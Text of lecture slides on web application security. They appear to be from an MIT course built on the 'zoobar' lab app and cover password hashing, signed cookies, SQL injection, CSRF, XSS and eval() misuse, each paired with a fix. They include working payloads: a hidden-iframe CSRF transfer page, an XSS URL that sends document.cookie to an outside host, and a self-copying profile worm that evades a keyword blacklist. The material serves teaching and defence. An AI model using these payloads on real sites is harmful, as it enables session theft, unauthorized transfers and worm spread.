Victor Costan
Limit the damage caused by pwnage.
Good backup providers.
Application vulnerabilities can be detected by examining your application’s code, without any regard to the other pieces of software that it interacts with.
type="password"
for passwords, SSNs, etc<form action="/login.php" method="GET"> User: <input name="username" type="text" value="1337" /> Password: <input name="password" type="password" value="haxxor"/> <input type="submit" value="Log in" /> </form>
<form action="/login.php" method="GET"> User: <input name="username" type="text" value="1337" /> Password: <input name="password" type="password" value="haxxor"/> <input type="submit" value="Log in" /> </form>
GET
in login forms<form action="/login.php" method="POST"> User: <input name="username" type="text" value="1337" /> Password: <input name="password" type="password" value="haxxor"/> <input type="submit" value="Log in" /> </form>
<form action="/login.php" method="POST"> User: <input name="username" type="text" value="1337" /> Password: <input name="password" type="password" value="haxxor"/> <input type="submit" value="Log in" /> </form>
Plaintext passwords in database
Hashed but unsalted passwords
$salt = substr(md5(rand()), 0, 4); $hashedpassword = md5($password.$salt); $sql = "INSERT INTO Users (Username, Password, Salt) " . "VALUES ('" . addslashes($username) . "', " . "'$hashedpassword', '$salt')"; $db->executeQuery($sql);
$sql = "SELECT Salt FROM Users WHERE Username = '" . addslashes($username) . "'"; $rs = $db->executeQuery($sql); $salt = $rs->getValueByNr(0,0); $hashedpassword = md5($password.$salt); $sql = "SELECT * FROM Users WHERE " . "Username = '" . addslashes($username) . "' AND " . "Password = '$hashedpassword'";
Processing SessionsController#create to json (for 96.39.52.46 at 2010-01-06 01:03:52) [POST] Parameters: {"name"=>"365c1e0d07b783297355e30022ea901d1dff96333b34929eb3650632bea73304", "device"=>{"hardware_model"=>"iPod2,1", "unique_id"=>"8186676124d4e588024ea29426f29d8aabb00858", "app_provisioning"=>"H", "app_version"=>"1.9", "app_id"=>"us.costan.StockPlay", "user_id"=>"0", "os_name"=>"iPhone OS", "os_version"=>"3.0", "model_id"=>"0", "app_push_token"=>"316e42e781d7cfb6f3de7ff2bab48e654c2d81da53d263476f8c66ca3253fc91"}, "format"=>"json", "action"=>"create", "controller"=>"sessions", "app_sig"=>"8f724fbfaf34772032412c5b638df009314c88bc6e6f245796cceb9c6db499f3", "password"=>"[FILTERED]"} Completed in 45ms (View: 1, DB: 28) | 200 OK [http://istockplay.com/sessions.json]
[FILTERTED]
. Are you flitering your logs?Painfully obvious URLs.
/show_message.php?id=5
, let’s try /show_message.php?id=6
/users/1
and /users/1/edit
, let’s try /users/1/delete
(REST URLs)/admin.php
, /info.php
, /status.php
, /root.php
“Secret” URLs.
Autentication
Authorization
GET
only for idempotent requests. GET
authorizes proxies to cache pages and leads to accidental refreshes.Your total is $530.
<p>Your total is $530.</p> <form action="/checkout.php" method="POST"> Credit card number: <input type="text" name="cc_no" /> <input type="submit" value="Place Order" /> <input type="hidden" name="products" value="225,5331,7794" /> <input type="hidden" name="price" value="530" /> </form>
$result = $this->db->executeQuery($sql); if ( $result->next() ) { $this->username = $username; setcookie($this->cookieName, $this->username, time() + 31104000); return true;
if ( isset($_COOKIE[$this->cookieName]) ) { $username = $_COOKIE[$this->cookieName]; $sql = "SELECT * FROM Person WHERE " . "(Username = '" . addslashes($username) . "') "; $rs = $this->db->executeQuery($sql); if ( $rs->next() ) {
$token = md5($result->getCurrentValueByName("Password").mt_rand()); $sql = "UPDATE Users SET Token = '$token' " . "WHERE Username='" . addslashes($username) . "'"; $db->executeQuery($sql);
$arr = array($username, $token); $cookieData = base64_encode(serialize($arr)); setcookie($this->cookieName, $cookieData, time() + 31104000);
if ( isset($_COOKIE[$this->cookieName]) ) { $arr = unserialize(base64_decode($_COOKIE[$this->cookieName])); list($username, $token) = $arr; if (!$username or !$token) { return; } return $this->_checkToken($username, $token); }
$sql = "SELECT * FROM Users WHERE " . "(Username = '" . addslashes($username) . "') " . "AND (Token = '" . addslashes($token) . "')"; $rs = $db->executeQuery($sql); if ( $rs->next() ) {
Use signed cookies.
# Basic idea, not full implementation. set_cookie($cookie_name, md5($secret . $value) . $value, time() + 31104000);
What’s wrong here?
$zoobars = (int) $_POST['zoobars']; $sql = "SELECT Zoobars FROM Person WHERE Username='" . addslashes($user->username) . "'"; $rs = $db->executeQuery($sql); $sender_balance = $rs->getValueByNr(0,0) - $zoobars; $sql = "SELECT Username, Zoobars FROM Person WHERE Username='" . addslashes($recipient) . "'"; $rs = $db->executeQuery($sql); $recipient_exists = $rs->getValueByNr(0,0); $recipient_balance = $rs->getValueByNr(0,1) + $zoobars; if($sender_balance >= 0 && $recipient_balance >= 0 && $recipient_exists) { $sql = "UPDATE Person SET Zoobars = $sender_balance " . "WHERE Username='" . addslashes($user->username) . "'";
Fix:
Integration vulnerabilities are not obvious from the application’s logic. They happen when complex systems interact in unexpected ways.
Solution
$username = $_POST['login_username']; $sql = "SELECT * FROM Person WHERE (Username = '$username') "; $rs = $db->executeQuery($sql);
The code above leads to pwnage.
'
and "
escape out of the string;
separates instructions, --
comments out the rest of the lineOR 1=1
kills WHERE
clauses, DROP ALL TABLES
kills your database'
, call addslashes
$sql = "SELECT Username FROM Users WHERE Username='" . addslashes($username) . "'";
scripts.mit.edu
make sure your AFS permissions are set correctly. Ask a friend to try to cd
into your locker.Serverity | Problem | Workaround |
low | database credentials in source | use firewall to prevent external connections |
medium | other credentials (e.g. Facebook API key) | ask partners to restrict API access to your IPs |
high | your source code is embarrassing | fix the damn file permissions |
Problem
Threat Model
Firewalls sites, so site A cannot interfere with site B
XmlHttpRequest
to BDOM elements can access data from any URL.
Tool | Motivation | Attack |
<img> |
CDNs (Content Distribution Networks) | Issue arbitrary GET requests. |
<script> |
CDNs, Mash-ups (e.g. have a Google Map on your page) | Mash-up provider can add malicious code to your page. |
JSONP | Get data from another source. | Get data without user’s consent. |
bit.ly
URLsGET
requests are vulnerable to CSRF<form method=POST name=transferform action="<?php echo $_SERVER['PHP_SELF']?>"> <p>Send <input name=zoobars type=text value="<?php echo $_POST['zoobars']; ?>" size=5> zoobars</p> <p>to <input name=recipient type=text value="<?php echo $_POST['recipient']; ?>" size=10></p> <input type=submit name=submission value="Send"> </form>
Form action | /transfer.php |
Form method | POST |
zoobars |
number |
recipient |
user name |
submission |
Send |
<!DOCTYPE html> <html> <body> <form action="http://localhost/zoobar/transfer.php" id="post_form" method="post" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="recipient" value="attacker" /> <input type="hidden" name="zoobars" value="10" /> <input type="hidden" name="submission" value="Send" /> </form> <iframe id="form_target" name="form_target" style="visibility: hidden;"> </iframe> <script type="text/javascript" src="csrf.js"></script> </body> </html>
var frame = document.getElementById('form_target'); var form = document.getElementById('post_form'); form.target = frame.name; frame.addEventListener('load', function() { window.location = "http://pdos.csail.mit.edu/6.893/2009/"; }, false); form.submit();
Bonus: Stealth Attack
<iframe>
GET
request (with side-effects).function check_csrf_token() { global $csrf_token; if ($_POST['_csrf_token'] != $csrf_token) { die(); } } function csrf_form_field() { global $csrf_token; echo '<input type="hidden" name="_csrf_token" value="' . $csrf_token . '" />'; }
if (empty($_COOKIE['csrf_base']) || !isset($_COOKIE['csrf_base'])) { $csrf_base = sha1("csrf" . mt_rand() . "_" . getmypid() . "_" . microtime(true)); setcookie('csrf_base', $csrf_base); } else { $csrf_base = $_COOKIE['csrf_base']; } $csrf_token = sha1($_COOKIE['csrf_base'] . "hduM3POw/NCTmMfy7vKZxdDjupKnuK6r9");
"
, HTML tags, javascript:
links, etc.alert()
proves that you can run JavaScript, has very few moving parts.alert()
, you can use standard payloads and tools to finish the attack.http://localhost/zoobar/users.php?user="><script type="text/javascript">alert('Boom');</script><div style="display:none;" xx="
def session_exploit_js url = 'http://pdos.csail.mit.edu/6.893/2009/labs/lab3/sendmail.php' addr = 'costan@mit.edu' "(new Image()).src='#{url}?to=#{addr}&payload='" + "+encodeURIComponent(document.cookie)" + "+'&random='+Math.random();" end
http://localhost/zoobar/users.php?user=%22+size%3D%2210%22%3E%3Cstyle+type%3D%22text%2Fcss%22%3E.warning%7Bdisplay%3Anone%3B%7D%3C%2Fstyle%3E%3Cscript+type%3D%22text%2Fjavascript%22%3E%3C%21--%0A%28new+Image%28%29%29.src%3D%27http%3A%2F%2Fpdos.csail.mit.edu%2F6.893%2F2009%2Flabs%2Flab3%2Fsendmail.php%3Fto%3Dcostan%40mit.edu%26payload%3D%27%2BencodeURIComponent%28document.cookie%29%2B%27%26random%3D%27%2BMath.random%28%29%3B%0A%2F%2F+--%3E%3C%2Fscript%3E%3Cdiv+style%3D%22display%3Anone%3B%22+xx%3D%22
Serve user content from another domain
Escape strings originating from the user
javascript:
URLs (check against /^https?\:/
)htmlentities()
to htmlspecialchars()
ENT_COMPAT
and ENT_QUOTES
<nobr>User: <input type="text" name="user" value="<?php echo htmlentities($_GET['user']); ?>" size=10></nobr><br>
<script>
tag.var myZoobars = <?php $sql = "SELECT Zoobars FROM Person WHERE Username='" . addslashes($user->username) . "'"; $rs = $db->executeQuery($sql); $balance = $rs->getValueByNr(0,0); echo $balance > 0 ? $balance : 0; ?>; var div = document.getElementById("myZoobars"); if (div != null) { div.innerHTML = myZoobars;
<script>
tag to obtain the data.<div id="myZoobars">Nope</div>
<script type="text/javascript" src="http://localhost/zoobar/zoobars.js.php"> </script> <script type="text/javascript"> if (document.getElementById('myZoobars').innerHTML == 'Nope') {
$allowed_tags = '<a><br><b><h1><h2><h3><h4><i><img><li><ol><p><strong><table>' . '<tr><td><th><u><ul><em><span>'; $profile = strip_tags($profile, $allowed_tags); $disallowed = 'javascript:|window|eval|setTimeout|setInterval|target|'. 'onAbort|onBlur|onChange|onClick|onDblClick|'. 'onDragDrop|onError|onFocus|onKeyDown|onKeyPress|'. 'onKeyUp|onLoad|onMouseDown|onMouseMove|onMouseOut|'. 'onMouseOver|onMouseUp|onMove|onReset|onResize|'. 'onSelect|onSubmit|onUnload'; $profile = preg_replace("/$disallowed/i", " ", $profile); echo "<p id=profile>$profile</p></div>";
var total = eval(document.getElementById('zoobars').className);
<span id="zoobars" class="var d = document; var js = d.getElementById('javascript').innerHTML; var tag = d.createElement('script'); tag.setAttribute('type', 'text/javascript'); tag.innerHTML = js; d.body.appendChild(tag);"> Headshot! </span> <span style="display: none;" id="javascript"> var formEncode = function(args) { var output = ''; for (var name in args) { if (output != '') { output += String.fromCharCode(38) } output += encodeURIComponent(name) + '=' + encodeURIComponent(args[name]); } return output; } var pay=new XMLHttpRequest(); pay.open('POST', '/transfer.php'); pay.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); pay.send(formEncode({recipient: 'attacker', zoobars: 1, submission: 'Send'})); var profile = document.getElementById('zoobars').parentNode.innerHTML; var copy=new XMLHttpRequest(); copy.open('POST', '/index.php'); copy.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); copy.send(formEncode({profile_update: profile, profile_submit: 'Save'})); </span>
Use eval()
very very sparingly.
eval()
should not be a shortcut for parsing code.parseInt()
, parseFloat()
JSON.parse()
var total = parseInt(document.getElementById('zoobars').className);
This is for real: the previous attack was inspired from MySpace 2005 profile worm.
Famous 2009 Vulnerabilities
Fixes
Update all stack components that you own ASAP.
Maintaining your own server?
sudo apt-get update; sudo apt-get dist-upgrade
)Victor Costan
Slides and Code
Demo
code/zoobar_attacks
code/zoobar
at http://localhost/zoobar